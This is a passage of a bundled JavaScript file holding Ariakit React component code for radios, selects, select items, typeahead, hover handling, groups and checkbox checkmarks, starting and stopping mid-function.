10000 "PopoverDisclosureArrow must be wrapped in a PopoverDisclosure component."
10001 );
10002 const position2 = store.useState((state) => placement || state.placement);
10003 const dir = position2.split("-")[0];
10004 const points = pointsMap[dir];
10005 const children = (0, import_react35.useMemo)(
10006 () => /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(
10007 "svg",
10008 {
10009 display: "block",
10010 fill: "none",
10011 stroke: "currentColor",
10012 strokeLinecap: "round",
10013 strokeLinejoin: "round",
10014 strokeWidth: 1.5,
10015 viewBox: "0 0 16 16",
10016 height: "1em",
10017 width: "1em",
10018 children: /* @__PURE__ */ (0, import_jsx_runtime19.jsx)("polyline", { points })
10019 }
10020 ),
10021 [points]
10022 );
10023 props = {
10024 children,
10025 "aria-hidden": true,
10026 ...props,
10027 style: {
10028 width: "1em",
10029 height: "1em",
10030 pointerEvents: "none",
10031 ...props.style
10032 }
10033 };
10034 return removeUndefinedValues(props);
10035 });
10036 var PopoverDisclosureArrow = forwardRef2(
10037 function PopoverDisclosureArrow2(props) {
10038 const htmlProps = usePopoverDisclosureArrow(props);
10039 return createElement(TagName30, htmlProps);
10040 }
10041 );
10042
10043 // node_modules/@ariakit/react-core/esm/__chunks/QOZ6WMRY.js
10044 var ctx12 = createStoreContext(
10045 [CompositeContextProvider],
10046 [CompositeScopedContextProvider]
10047 );
10048 var useRadioContext = ctx12.useContext;
10049 var useRadioScopedContext = ctx12.useScopedContext;
10050 var useRadioProviderContext = ctx12.useProviderContext;
10051 var RadioContextProvider = ctx12.ContextProvider;
10052 var RadioScopedContextProvider = ctx12.ScopedContextProvider;
10053
10054 // node_modules/@ariakit/react-core/esm/__chunks/5TKKKQCL.js
10055 var import_react36 = __toESM(require_react(), 1);
10056 var TagName31 = "input";
10057 function getIsChecked(value, storeValue) {
10058 if (storeValue === void 0) return;
10059 if (value != null && storeValue != null) {
10060 return storeValue === value;
10061 }
10062 return !!storeValue;
10063 }
10064 function isNativeRadio(tagName, type) {
10065 return tagName === "input" && (!type || type === "radio");
10066 }
10067 var useRadio = createHook(function useRadio2({
10068 store,
10069 name,
10070 value,
10071 checked,
10072 ...props
10073 }) {
10074 const context = useRadioContext();
10075 store = store || context;
10076 const id3 = useId(props.id);
10077 const ref = (0, import_react36.useRef)(null);
10078 const isChecked = useStoreState(
10079 store,
10080 (state) => checked != null ? checked : getIsChecked(value, state == null ? void 0 : state.value)
10081 );
10082 (0, import_react36.useEffect)(() => {
10083 if (!id3) return;
10084 if (!isChecked) return;
10085 const isActiveItem = (store == null ? void 0 : store.getState().activeId) === id3;
10086 if (isActiveItem) return;
10087 store == null ? void 0 : store.setActiveId(id3);
10088 }, [store, isChecked, id3]);
10089 const onChangeProp = props.onChange;
10090 const tagName = useTagName(ref, TagName31);
10091 const nativeRadio = isNativeRadio(tagName, props.type);
10092 const disabled = disabledFromProps(props);
10093 const [propertyUpdated, schedulePropertyUpdate] = useForceUpdate();
10094 (0, import_react36.useEffect)(() => {
10095 const element = ref.current;
10096 if (!element) return;
10097 if (nativeRadio) return;
10098 if (isChecked !== void 0) {
10099 element.checked = isChecked;
10100 }
10101 if (name !== void 0) {
10102 element.name = name;
10103 }
10104 if (value !== void 0) {
10105 element.value = `${value}`;
10106 }
10107 }, [propertyUpdated, nativeRadio, isChecked, name, value]);
10108 const onChange = useEvent((event) => {
10109 if (disabled) {
10110 event.preventDefault();
10111 event.stopPropagation();
10112 return;
10113 }
10114 if ((store == null ? void 0 : store.getState().value) === value) return;
10115 if (!nativeRadio) {
10116 event.currentTarget.checked = true;
10117 schedulePropertyUpdate();
10118 }
10119 onChangeProp == null ? void 0 : onChangeProp(event);
10120 if (event.defaultPrevented) return;
10121 store == null ? void 0 : store.setValue(value);
10122 });
10123 const onClickProp = props.onClick;
10124 const onClick = useEvent((event) => {
10125 onClickProp == null ? void 0 : onClickProp(event);
10126 if (event.defaultPrevented) return;
10127 if (nativeRadio) return;
10128 onChange(event);
10129 });
10130 const onFocusProp = props.onFocus;
10131 const onFocus = useEvent((event) => {
10132 onFocusProp == null ? void 0 : onFocusProp(event);
10133 if (event.defaultPrevented) return;
10134 if (!nativeRadio) return;
10135 if (!store) return;
10136 const { moves, activeId } = store.getState();
10137 if (!moves) return;
10138 if (id3 && activeId !== id3) return;
10139 onChange(event);
10140 });
10141 props = {
10142 id: id3,
10143 role: !nativeRadio ? "radio" : void 0,
10144 type: nativeRadio ? "radio" : void 0,
10145 "aria-checked": isChecked,
10146 ...props,
10147 ref: useMergeRefs(ref, props.ref),
10148 onChange,
10149 onClick,
10150 onFocus
10151 };
10152 props = useCompositeItem({
10153 store,
10154 clickOnEnter: !nativeRadio,
10155 ...props
10156 });
10157 return removeUndefinedValues({
10158 name: nativeRadio ? name : void 0,
10159 value: nativeRadio ? value : void 0,
10160 checked: isChecked,
10161 ...props
10162 });
10163 });
10164 var Radio = memo2(
10165 forwardRef2(function Radio2(props) {
10166 const htmlProps = useRadio(props);
10167 return createElement(TagName31, htmlProps);
10168 })
10169 );
10170
10171 // node_modules/@ariakit/react-core/esm/radio/radio-group.js
10172 var import_jsx_runtime20 = __toESM(require_jsx_runtime(), 1);
10173 var TagName32 = "div";
10174 var useRadioGroup = createHook(
10175 function useRadioGroup2({ store, ...props }) {
10176 const context = useRadioProviderContext();
10177 store = store || context;
10178 invariant(
10179 store,
10180 "RadioGroup must receive a `store` prop or be wrapped in a RadioProvider component."
10181 );
10182 props = useWrapElement(
10183 props,
10184 (element) => /* @__PURE__ */ (0, import_jsx_runtime20.jsx)(RadioScopedContextProvider, { value: store, children: element }),
10185 [store]
10186 );
10187 props = {
10188 role: "radiogroup",
10189 ...props
10190 };
10191 props = useComposite({ store, ...props });
10192 return props;
10193 }
10194 );
10195 var RadioGroup = forwardRef2(function RadioGroup2(props) {
10196 const htmlProps = useRadioGroup(props);
10197 return createElement(TagName32, htmlProps);
10198 });
10199
10200 // node_modules/@ariakit/core/esm/radio/radio-store.js
10201 function createRadioStore({
10202 ...props
10203 } = {}) {
10204 var _a;
10205 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
10206 const composite = createCompositeStore({
10207 ...props,
10208 focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, true)
10209 });
10210 const initialState = {
10211 ...composite.getState(),
10212 value: defaultValue(
10213 props.value,
10214 syncState == null ? void 0 : syncState.value,
10215 props.defaultValue,
10216 null
10217 )
10218 };
10219 const radio = createStore(initialState, composite, props.store);
10220 return {
10221 ...composite,
10222 ...radio,
10223 setValue: (value) => radio.setState("value", value)
10224 };
10225 }
10226
10227 // node_modules/@ariakit/react-core/esm/__chunks/EBNR6XRJ.js
10228 function useRadioStoreProps(store, update, props) {
10229 store = useCompositeStoreProps(store, update, props);
10230 useStoreProps(store, props, "value", "setValue");
10231 return store;
10232 }
10233 function useRadioStore(props = {}) {
10234 const [store, update] = useStore(createRadioStore, props);
10235 return useRadioStoreProps(store, update, props);
10236 }
10237
10238 // node_modules/@ariakit/react-core/esm/__chunks/N5BMKDVD.js
10239 var TagName33 = "span";
10240 var useSelectArrow = createHook(
10241 function useSelectArrow2({ store, ...props }) {
10242 const context = useSelectContext();
10243 store = store || context;
10244 props = usePopoverDisclosureArrow({ store, ...props });
10245 return props;
10246 }
10247 );
10248 var SelectArrow = forwardRef2(function SelectArrow2(props) {
10249 const htmlProps = useSelectArrow(props);
10250 return createElement(TagName33, htmlProps);
10251 });
10252
10253 // node_modules/@ariakit/react-core/esm/__chunks/FORDJ4GP.js
10254 var import_react37 = __toESM(require_react(), 1);
10255 var TagName34 = "div";
10256 var chars = "";
10257 function clearChars() {
10258 chars = "";
10259 }
10260 function isValidTypeaheadEvent(event) {
10261 const target = event.target;
10262 if (target && isTextField(target)) return false;
10263 if (event.key === " " && chars.length) return true;
10264 return event.key.length === 1 && !event.ctrlKey && !event.altKey && !event.metaKey && /^[\p{Letter}\p{Number}]$/u.test(event.key);
10265 }
10266 function isSelfTargetOrItem(event, items) {
10267 if (isSelfTarget(event)) return true;
10268 const target = event.target;
10269 if (!target) return false;
10270 const isItem2 = items.some((item2) => item2.element === target);
10271 return isItem2;
10272 }
10273 function getEnabledItems2(items) {
10274 return items.filter((item2) => !item2.disabled);
10275 }
10276 function itemTextStartsWith(item2, text) {
10277 var _a;
10278 const itemText = ((_a = item2.element) == null ? void 0 : _a.textContent) || item2.children || // The composite item object itself doesn't include a value property, but
10279 // other components like Select do. Since CompositeTypeahead is a generic
10280 // component that can be used with those as well, we also consider the value
10281 // property as a fallback for the typeahead text content.
10282 "value" in item2 && item2.value;
10283 if (!itemText) return false;
10284 return normalizeString(itemText).trim().toLowerCase().startsWith(text.toLowerCase());
10285 }
10286 function getSameInitialItems(items, char2, activeId) {
10287 if (!activeId) return items;
10288 const activeItem = items.find((item2) => item2.id === activeId);
10289 if (!activeItem) return items;
10290 if (!itemTextStartsWith(activeItem, char2)) return items;
10291 if (chars !== char2 && itemTextStartsWith(activeItem, chars)) return items;
10292 chars = char2;
10293 return flipItems(
10294 items.filter((item2) => itemTextStartsWith(item2, chars)),
10295 activeId
10296 ).filter((item2) => item2.id !== activeId);
10297 }
10298 var useCompositeTypeahead = createHook(function useCompositeTypeahead2({ store, typeahead = true, ...props }) {
10299 const context = useCompositeContext();
10300 store = store || context;
10301 invariant(
10302 store,
10303 "CompositeTypeahead must be a Composite component"
10304 );
10305 const onKeyDownCaptureProp = props.onKeyDownCapture;
10306 const cleanupTimeoutRef = (0, import_react37.useRef)(0);
10307 const onKeyDownCapture = useEvent((event) => {
10308 onKeyDownCaptureProp == null ? void 0 : onKeyDownCaptureProp(event);
10309 if (event.defaultPrevented) return;
10310 if (!typeahead) return;
10311 if (!store) return;
10312 if (!isValidTypeaheadEvent(event)) {
10313 return clearChars();
10314 }
10315 const { renderedItems, items, activeId, id: id3 } = store.getState();
10316 let enabledItems = getEnabledItems2(
10317 items.length > renderedItems.length ? items : renderedItems
10318 );
10319 const document2 = getDocument(event.currentTarget);
10320 const selector2 = `[data-offscreen-id="${id3}"]`;
10321 const offscreenItems = document2.querySelectorAll(selector2);
10322 for (const element of offscreenItems) {
10323 const disabled = element.ariaDisabled === "true" || "disabled" in element && !!element.disabled;
10324 enabledItems.push({ id: element.id, element, disabled });
10325 }
10326 if (offscreenItems.length) {
10327 enabledItems = sortBasedOnDOMPosition(enabledItems, (i3) => i3.element);
10328 }
10329 if (!isSelfTargetOrItem(event, enabledItems)) return clearChars();
10330 event.preventDefault();
10331 window.clearTimeout(cleanupTimeoutRef.current);
10332 cleanupTimeoutRef.current = window.setTimeout(() => {
10333 chars = "";
10334 }, 500);
10335 const char2 = event.key.toLowerCase();
10336 chars += char2;
10337 enabledItems = getSameInitialItems(enabledItems, char2, activeId);
10338 const item2 = enabledItems.find((item22) => itemTextStartsWith(item22, chars));
10339 if (item2) {
10340 store.move(item2.id);
10341 } else {
10342 clearChars();
10343 }
10344 });
10345 props = {
10346 ...props,
10347 onKeyDownCapture
10348 };
10349 return removeUndefinedValues(props);
10350 });
10351 var CompositeTypeahead = forwardRef2(function CompositeTypeahead2(props) {
10352 const htmlProps = useCompositeTypeahead(props);
10353 return createElement(TagName34, htmlProps);
10354 });
10355
10356 // node_modules/@ariakit/react-core/esm/select/select.js
10357 var import_react38 = __toESM(require_react(), 1);
10358 var import_jsx_runtime21 = __toESM(require_jsx_runtime(), 1);
10359 var TagName35 = "button";
10360 function getSelectedValues(select) {
10361 return Array.from(select.selectedOptions).map((option) => option.value);
10362 }
10363 function nextWithValue(store, next2) {
10364 return () => {
10365 const nextId = next2();
10366 if (!nextId) return;
10367 let i3 = 0;
10368 let nextItem = store.item(nextId);
10369 const firstItem = nextItem;
10370 while (nextItem && nextItem.value == null) {
10371 const nextId2 = next2(++i3);
10372 if (!nextId2) return;
10373 nextItem = store.item(nextId2);
10374 if (nextItem === firstItem) break;
10375 }
10376 return nextItem == null ? void 0 : nextItem.id;
10377 };
10378 }
10379 var useSelect = createHook(function useSelect2({
10380 store,
10381 name,
10382 form,
10383 required,
10384 showOnKeyDown = true,
10385 moveOnKeyDown = true,
10386 toggleOnPress = true,
10387 toggleOnClick = toggleOnPress,
10388 ...props
10389 }) {
10390 const context = useSelectProviderContext();
10391 store = store || context;
10392 invariant(
10393 store,
10394 "Select must receive a `store` prop or be wrapped in a SelectProvider component."
10395 );
10396 const onKeyDownProp = props.onKeyDown;
10397 const showOnKeyDownProp = useBooleanEvent(showOnKeyDown);
10398 const moveOnKeyDownProp = useBooleanEvent(moveOnKeyDown);
10399 const placement = store.useState("placement");
10400 const dir = placement.split("-")[0];
10401 const value = store.useState("value");
10402 const multiSelectable = Array.isArray(value);
10403 const onKeyDown = useEvent((event) => {
10404 var _a;
10405 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
10406 if (event.defaultPrevented) return;
10407 if (!store) return;
10408 const { orientation, items: items2, activeId } = store.getState();
10409 const isVertical = orientation !== "horizontal";
10410 const isHorizontal = orientation !== "vertical";
10411 const isGrid2 = !!((_a = items2.find((item2) => !item2.disabled && item2.value != null)) == null ? void 0 : _a.rowId);
10412 const moveKeyMap = {
10413 ArrowUp: (isGrid2 || isVertical) && nextWithValue(store, store.up),
10414 ArrowRight: (isGrid2 || isHorizontal) && nextWithValue(store, store.next),
10415 ArrowDown: (isGrid2 || isVertical) && nextWithValue(store, store.down),
10416 ArrowLeft: (isGrid2 || isHorizontal) && nextWithValue(store, store.previous)
10417 };
10418 const getId = moveKeyMap[event.key];
10419 if (getId && moveOnKeyDownProp(event)) {
10420 event.preventDefault();
10421 store.move(getId());
10422 }
10423 const isTopOrBottom = dir === "top" || dir === "bottom";
10424 const isLeft = dir === "left";
10425 const isRight = dir === "right";
10426 const canShowKeyMap = {
10427 ArrowDown: isTopOrBottom,
10428 ArrowUp: isTopOrBottom,
10429 ArrowLeft: isLeft,
10430 ArrowRight: isRight
10431 };
10432 const canShow = canShowKeyMap[event.key];
10433 if (canShow && showOnKeyDownProp(event)) {
10434 event.preventDefault();
10435 store.move(activeId);
10436 queueBeforeEvent(event.currentTarget, "keyup", store.show);
10437 }
10438 });
10439 props = useWrapElement(
10440 props,
10441 (element) => /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(SelectScopedContextProvider, { value: store, children: element }),
10442 [store]
10443 );
10444 const [autofill, setAutofill] = (0, import_react38.useState)(false);
10445 const nativeSelectChangedRef = (0, import_react38.useRef)(false);
10446 (0, import_react38.useEffect)(() => {
10447 const nativeSelectChanged = nativeSelectChangedRef.current;
10448 nativeSelectChangedRef.current = false;
10449 if (nativeSelectChanged) return;
10450 setAutofill(false);
10451 }, [value]);
10452 const labelId = store.useState((state) => {
10453 var _a;
10454 return (_a = state.labelElement) == null ? void 0 : _a.id;
10455 });
10456 const label = props["aria-label"];
10457 const labelledBy = props["aria-labelledby"] || labelId;
10458 const items = store.useState((state) => {
10459 if (!name) return;
10460 return state.items;
10461 });
10462 const values = (0, import_react38.useMemo)(() => {
10463 return [...new Set(items == null ? void 0 : items.map((i3) => i3.value).filter((v3) => v3 != null))];
10464 }, [items]);
10465 props = useWrapElement(
10466 props,
10467 (element) => {
10468 if (!name) return element;
10469 return /* @__PURE__ */ (0, import_jsx_runtime21.jsxs)(import_jsx_runtime21.Fragment, { children: [
10470 /* @__PURE__ */ (0, import_jsx_runtime21.jsxs)(
10471 "select",
10472 {
10473 style: {
10474 border: 0,
10475 clip: "rect(0 0 0 0)",
10476 height: "1px",
10477 margin: "-1px",
10478 overflow: "hidden",
10479 padding: 0,
10480 position: "absolute",
10481 whiteSpace: "nowrap",
10482 width: "1px"
10483 },
10484 tabIndex: -1,
10485 "aria-hidden": true,
10486 "aria-label": label,
10487 "aria-labelledby": labelledBy,
10488 name,
10489 form,
10490 required,
10491 disabled: props.disabled,
10492 value,
10493 multiple: multiSelectable,
10494 onFocus: () => {
10495 var _a;
10496 return (_a = store == null ? void 0 : store.getState().selectElement) == null ? void 0 : _a.focus();
10497 },
10498 onChange: (event) => {
10499 nativeSelectChangedRef.current = true;
10500 setAutofill(true);
10501 store == null ? void 0 : store.setValue(
10502 multiSelectable ? getSelectedValues(event.target) : event.target.value
10503 );
10504 },
10505 children: [
10506 toArray(value).map((value2) => {
10507 if (value2 == null) return null;
10508 if (values.includes(value2)) return null;
10509 return /* @__PURE__ */ (0, import_jsx_runtime21.jsx)("option", { value: value2, children: value2 }, value2);
10510 }),
10511 values.map((value2) => /* @__PURE__ */ (0, import_jsx_runtime21.jsx)("option", { value: value2, children: value2 }, value2))
10512 ]
10513 }
10514 ),
10515 element
10516 ] });
10517 },
10518 [
10519 store,
10520 label,
10521 labelledBy,
10522 name,
10523 form,
10524 required,
10525 value,
10526 multiSelectable,
10527 values,
10528 props.disabled
10529 ]
10530 );
10531 const children = /* @__PURE__ */ (0, import_jsx_runtime21.jsxs)(import_jsx_runtime21.Fragment, { children: [
10532 value,
10533 /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(SelectArrow, {})
10534 ] });
10535 const contentElement = store.useState("contentElement");
10536 props = {
10537 role: "combobox",
10538 "aria-autocomplete": "none",
10539 "aria-labelledby": labelId,
10540 "aria-haspopup": getPopupRole(contentElement, "listbox"),
10541 "data-autofill": autofill || void 0,
10542 "data-name": name,
10543 children,
10544 ...props,
10545 ref: useMergeRefs(store.setSelectElement, props.ref),
10546 onKeyDown
10547 };
10548 props = usePopoverDisclosure({ store, toggleOnClick, ...props });
10549 props = useCompositeTypeahead({ store, ...props });
10550 return props;
10551 });
10552 var Select = forwardRef2(function Select2(props) {
10553 const htmlProps = useSelect(props);
10554 return createElement(TagName35, htmlProps);
10555 });
10556
10557 // node_modules/@ariakit/react-core/esm/__chunks/7HVFURXT.js
10558 var import_react39 = __toESM(require_react(), 1);
10559 var GroupLabelContext = (0, import_react39.createContext)(void 0);
10560
10561 // node_modules/@ariakit/react-core/esm/__chunks/Y6I7WX7H.js
10562 var import_react40 = __toESM(require_react(), 1);
10563 var import_jsx_runtime22 = __toESM(require_jsx_runtime(), 1);
10564 var TagName36 = "div";
10565 var useGroup = createHook(
10566 function useGroup2(props) {
10567 const [labelId, setLabelId] = (0, import_react40.useState)();
10568 props = useWrapElement(
10569 props,
10570 (element) => /* @__PURE__ */ (0, import_jsx_runtime22.jsx)(GroupLabelContext.Provider, { value: setLabelId, children: element }),
10571 []
10572 );
10573 props = {
10574 role: "group",
10575 "aria-labelledby": labelId,
10576 ...props
10577 };
10578 return removeUndefinedValues(props);
10579 }
10580 );
10581 var Group = forwardRef2(function Group2(props) {
10582 const htmlProps = useGroup(props);
10583 return createElement(TagName36, htmlProps);
10584 });
10585
10586 // node_modules/@ariakit/react-core/esm/__chunks/XXOHUFXO.js
10587 var TagName37 = "div";
10588 var useCompositeGroup = createHook(
10589 function useCompositeGroup2({ store, ...props }) {
10590 props = useGroup(props);
10591 return props;
10592 }
10593 );
10594 var CompositeGroup = forwardRef2(function CompositeGroup2(props) {
10595 const htmlProps = useCompositeGroup(props);
10596 return createElement(TagName37, htmlProps);
10597 });
10598
10599 // node_modules/@ariakit/react-core/esm/__chunks/NH3GYEZ7.js
10600 var import_react41 = __toESM(require_react(), 1);
10601 var TagName38 = "div";
10602 var useGroupLabel = createHook(
10603 function useGroupLabel2(props) {
10604 const setLabelId = (0, import_react41.useContext)(GroupLabelContext);
10605 const id3 = useId(props.id);
10606 useSafeLayoutEffect(() => {
10607 setLabelId == null ? void 0 : setLabelId(id3);
10608 return () => setLabelId == null ? void 0 : setLabelId(void 0);
10609 }, [setLabelId, id3]);
10610 props = {
10611 id: id3,
10612 "aria-hidden": true,
10613 ...props
10614 };
10615 return removeUndefinedValues(props);
10616 }
10617 );
10618 var GroupLabel = forwardRef2(function GroupLabel2(props) {
10619 const htmlProps = useGroupLabel(props);
10620 return createElement(TagName38, htmlProps);
10621 });
10622
10623 // node_modules/@ariakit/react-core/esm/__chunks/JUZDESDO.js
10624 var TagName39 = "div";
10625 var useCompositeGroupLabel = createHook(function useCompositeGroupLabel2({ store, ...props }) {
10626 props = useGroupLabel(props);
10627 return props;
10628 });
10629 var CompositeGroupLabel = forwardRef2(function CompositeGroupLabel2(props) {
10630 const htmlProps = useCompositeGroupLabel(props);
10631 return createElement(TagName39, htmlProps);
10632 });
10633
10634 // node_modules/@ariakit/react-core/esm/__chunks/X6LNAU2F.js
10635 var import_react42 = __toESM(require_react(), 1);
10636 var TagName40 = "div";
10637 function getMouseDestination(event) {
10638 const relatedTarget = event.relatedTarget;
10639 if ((relatedTarget == null ? void 0 : relatedTarget.nodeType) === Node.ELEMENT_NODE) {
10640 return relatedTarget;
10641 }
10642 return null;
10643 }
10644 function hoveringInside(event) {
10645 const nextElement = getMouseDestination(event);
10646 if (!nextElement) return false;
10647 return contains(event.currentTarget, nextElement);
10648 }
10649 var symbol3 = /* @__PURE__ */ Symbol("composite-hover");
10650 function movingToAnotherItem(event) {
10651 let dest = getMouseDestination(event);
10652 if (!dest) return false;
10653 do {
10654 if (hasOwnProperty(dest, symbol3) && dest[symbol3]) return true;
10655 dest = dest.parentElement;
10656 } while (dest);
10657 return false;
10658 }
10659 var useCompositeHover = createHook(
10660 function useCompositeHover2({
10661 store,
10662 focusOnHover = true,
10663 blurOnHoverEnd = !!focusOnHover,
10664 ...props
10665 }) {
10666 const context = useCompositeContext();
10667 store = store || context;
10668 invariant(
10669 store,
10670 "CompositeHover must be wrapped in a Composite component."
10671 );
10672 const isMouseMoving = useIsMouseMoving();
10673 const onMouseMoveProp = props.onMouseMove;
10674 const focusOnHoverProp = useBooleanEvent(focusOnHover);
10675 const onMouseMove = useEvent((event) => {
10676 onMouseMoveProp == null ? void 0 : onMouseMoveProp(event);
10677 if (event.defaultPrevented) return;
10678 if (!isMouseMoving()) return;
10679 if (!focusOnHoverProp(event)) return;
10680 if (!hasFocusWithin(event.currentTarget)) {
10681 const baseElement = store == null ? void 0 : store.getState().baseElement;
10682 if (baseElement && !hasFocus(baseElement)) {
10683 baseElement.focus();
10684 }
10685 }
10686 store == null ? void 0 : store.setActiveId(event.currentTarget.id);
10687 });
10688 const onMouseLeaveProp = props.onMouseLeave;
10689 const blurOnHoverEndProp = useBooleanEvent(blurOnHoverEnd);
10690 const onMouseLeave = useEvent((event) => {
10691 var _a;
10692 onMouseLeaveProp == null ? void 0 : onMouseLeaveProp(event);
10693 if (event.defaultPrevented) return;
10694 if (!isMouseMoving()) return;
10695 if (hoveringInside(event)) return;
10696 if (movingToAnotherItem(event)) return;
10697 if (!focusOnHoverProp(event)) return;
10698 if (!blurOnHoverEndProp(event)) return;
10699 store == null ? void 0 : store.setActiveId(null);
10700 (_a = store == null ? void 0 : store.getState().baseElement) == null ? void 0 : _a.focus();
10701 });
10702 const ref = (0, import_react42.useCallback)((element) => {
10703 if (!element) return;
10704 element[symbol3] = true;
10705 }, []);
10706 props = {
10707 ...props,
10708 ref: useMergeRefs(ref, props.ref),
10709 onMouseMove,
10710 onMouseLeave
10711 };
10712 return removeUndefinedValues(props);
10713 }
10714 );
10715 var CompositeHover = memo2(
10716 forwardRef2(function CompositeHover2(props) {
10717 const htmlProps = useCompositeHover(props);
10718 return createElement(TagName40, htmlProps);
10719 })
10720 );
10721
10722 // node_modules/@ariakit/react-core/esm/__chunks/4M2S6L5P.js
10723 var import_react43 = __toESM(require_react(), 1);
10724 var import_jsx_runtime23 = __toESM(require_jsx_runtime(), 1);
10725 var TagName41 = "div";
10726 function isSelected(storeValue, itemValue) {
10727 if (itemValue == null) return;
10728 if (storeValue == null) return false;
10729 if (Array.isArray(storeValue)) {
10730 return storeValue.includes(itemValue);
10731 }
10732 return storeValue === itemValue;
10733 }
10734 var useSelectItem = createHook(
10735 function useSelectItem2({
10736 store,
10737 value,
10738 getItem: getItemProp,
10739 hideOnClick,
10740 setValueOnClick = value != null,
10741 preventScrollOnKeyDown = true,
10742 focusOnHover = true,
10743 ...props
10744 }) {
10745 var _a;
10746 const context = useSelectScopedContext();
10747 store = store || context;
10748 invariant(
10749 store,
10750 "SelectItem must be wrapped in a SelectList or SelectPopover component."
10751 );
10752 const id3 = useId(props.id);
10753 const disabled = disabledFromProps(props);
10754 const { listElement, multiSelectable, selected, autoFocus } = useStoreStateObject(store, {
10755 listElement: "listElement",
10756 multiSelectable(state) {
10757 return Array.isArray(state.value);
10758 },
10759 selected(state) {
10760 return isSelected(state.value, value);
10761 },
10762 autoFocus(state) {
10763 if (value == null) return false;
10764 if (state.value == null) return false;
10765 if (state.activeId !== id3 && (store == null ? void 0 : store.item(state.activeId))) {
10766 return false;
10767 }
10768 if (Array.isArray(state.value)) {
10769 return state.value[state.value.length - 1] === value;
10770 }
10771 return state.value === value;
10772 }
10773 });
10774 const getItem = (0, import_react43.useCallback)(
10775 (item2) => {
10776 const nextItem = {
10777 ...item2,
10778 value: disabled ? void 0 : value,
10779 children: value
10780 };
10781 if (getItemProp) {
10782 return getItemProp(nextItem);
10783 }
10784 return nextItem;
10785 },
10786 [disabled, value, getItemProp]
10787 );
10788 hideOnClick = hideOnClick != null ? hideOnClick : value != null && !multiSelectable;
10789 const onClickProp = props.onClick;
10790 const setValueOnClickProp = useBooleanEvent(setValueOnClick);
10791 const hideOnClickProp = useBooleanEvent(hideOnClick);
10792 const onClick = useEvent((event) => {
10793 onClickProp == null ? void 0 : onClickProp(event);
10794 if (event.defaultPrevented) return;
10795 if (isDownloading(event)) return;
10796 if (isOpeningInNewTab(event)) return;
10797 if (setValueOnClickProp(event) && value != null) {
10798 store == null ? void 0 : store.setValue((prevValue) => {
10799 if (!Array.isArray(prevValue)) return value;
10800 if (prevValue.includes(value)) {
10801 return prevValue.filter((v3) => v3 !== value);
10802 }
10803 return [...prevValue, value];
10804 });
10805 }
10806 if (hideOnClickProp(event)) {
10807 store == null ? void 0 : store.hide();
10808 }
10809 });
10810 props = useWrapElement(
10811 props,
10812 (element) => /* @__PURE__ */ (0, import_jsx_runtime23.jsx)(SelectItemCheckedContext.Provider, { value: selected != null ? selected : false, children: element }),
10813 [selected]
10814 );
10815 props = {
10816 id: id3,
10817 role: getPopupItemRole(listElement),
10818 "aria-selected": selected,
10819 children: value,
10820 ...props,
10821 autoFocus: (_a = props.autoFocus) != null ? _a : autoFocus,
10822 onClick
10823 };
10824 props = useCompositeItem({
10825 store,
10826 getItem,
10827 preventScrollOnKeyDown,
10828 ...props
10829 });
10830 const focusOnHoverProp = useBooleanEvent(focusOnHover);
10831 props = useCompositeHover({
10832 store,
10833 ...props,
10834 // We have to disable focusOnHover when the popup is closed, otherwise
10835 // the active item will change to null (the container) when the popup is
10836 // closed by clicking on an item.
10837 focusOnHover(event) {
10838 if (!focusOnHoverProp(event)) return false;
10839 const state = store == null ? void 0 : store.getState();
10840 return !!(state == null ? void 0 : state.open);
10841 }
10842 });
10843 return props;
10844 }
10845 );
10846 var SelectItem = memo2(
10847 forwardRef2(function SelectItem2(props) {
10848 const htmlProps = useSelectItem(props);
10849 return createElement(TagName41, htmlProps);
10850 })
10851 );
10852
10853 // node_modules/@ariakit/react-core/esm/__chunks/EYKMH5G5.js
10854 var import_react44 = __toESM(require_react(), 1);
10855 var CheckboxCheckedContext = (0, import_react44.createContext)(false);
10856
10857 // node_modules/@ariakit/react-core/esm/__chunks/HOITXJDS.js
10858 var import_react45 = __toESM(require_react(), 1);
10859 var import_jsx_runtime24 = __toESM(require_jsx_runtime(), 1);
10860 var TagName42 = "span";
10861 var checkmark = /* @__PURE__ */ (0, import_jsx_runtime24.jsx)(
10862 "svg",
10863 {
10864 display: "block",
10865 fill: "none",
10866 stroke: "currentColor",
10867 strokeLinecap: "round",
10868 strokeLinejoin: "round",
10869 strokeWidth: 1.5,
10870 viewBox: "0 0 16 16",
10871 height: "1em",
10872 width: "1em",
10873 children: /* @__PURE__ */ (0, import_jsx_runtime24.jsx)("polyline", { points: "4,8 7,12 12,4" })
10874 }
10875 );
10876 function getChildren(props) {
10877 if (props.checked) {
10878 return props.children || checkmark;
10879 }
10880 if (typeof props.children === "function") {
10881 return props.children;
10882 }
10883 return null;
10884 }
10885 var useCheckboxCheck = createHook(
10886 function useCheckboxCheck2({ store, checked, ...props }) {
10887 const context = (0, import_react45.useContext)(CheckboxCheckedContext);
10888 checked = checked != null ? checked : context;
10889 const children = getChildren({ checked, children: props.children });
10890 props = {
10891 "aria-hidden": true,
10892 ...props,
10893 children,
10894 style: {
10895 width: "1em",
10896 height: "1em",
10897 pointerEvents: "none",
10898 ...props.style
10899 }
10900 };
10901 return removeUndefinedValues(props);
10902 }
10903 );
10904 var CheckboxCheck = forwardRef2(function CheckboxCheck2(props) {
10905 const htmlProps = useCheckboxCheck(props);
10906 return createElement(TagName42, htmlProps);
10907 });
10908
10909 // node_modules/@ariakit/react-core/esm/select/select-item-check.js
10910 var import_react46 = __toESM(require_react(), 1);
10911 var TagName43 = "span";
10912 var useSelectItemCheck = createHook(
10913 function useSelectItemCheck2({ store, checked, ...props }) {
10914 const context = (0, import_react46.useContext)(SelectItemCheckedContext);
10915 checked = checked != null ? checked : context;
10916 props = useCheckboxCheck({ ...props, checked });
10917 return props;
10918 }
10919 );
10920 var SelectItemCheck = forwardRef2(function SelectItemCheck2(props) {
10921 const htmlProps = useSelectItemCheck(props);
10922 return createElement(TagName43, htmlProps);
10923 });
10924
10925 // node_modules/@ariakit/react-core/esm/select/select-label.js
10926 var TagName44 = "div";
10927 var useSelectLabel = createHook(
10928 function useSelectLabel2({ store, ...props }) {
10929 const context = useSelectProviderContext();
10930 store = store || context;
10931 invariant(
10932 store,
10933 "SelectLabel must receive a `store` prop or be wrapped in a SelectProvider component."
10934 );
10935 const id3 = useId(props.id);
10936 const onClickProp = props.onClick;
10937 const onClick = useEvent((event) => {
